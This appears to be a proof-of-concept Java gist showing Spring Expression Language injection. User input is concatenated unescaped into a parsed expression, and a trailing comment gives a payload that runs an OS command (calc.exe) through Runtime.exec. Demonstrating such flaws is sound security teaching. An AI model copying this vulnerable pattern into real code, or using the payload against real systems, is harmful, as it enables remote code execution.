gistfile1.txt

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.util.Assert;
import org.apache.commons.logging.LogFactory; 
import java.io.*;
import java.util.Date;

public class main {

	/**
	 * @param args
	 * @throws Exception 
	 */
	public static void main(String[] args) throws Exception {
		// TODO Auto-generated method stub
		ExpressionParser parser = new SpelExpressionParser();

		System.out.println("Please enter a date and I will parse it:");
		java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
	    String line = stdin.readLine();
		Expression exp = parser.parseExpression("'" + line + "'");  
		Date date = exp.getValue(Date.class);
		
		System.out.println("Thanks! The date you entered was:");
		System.out.println(date.toString());
	}
}

/* 02/15/2012' == T(Runtime).getRuntime().exec('calc.exe').toString() + ' */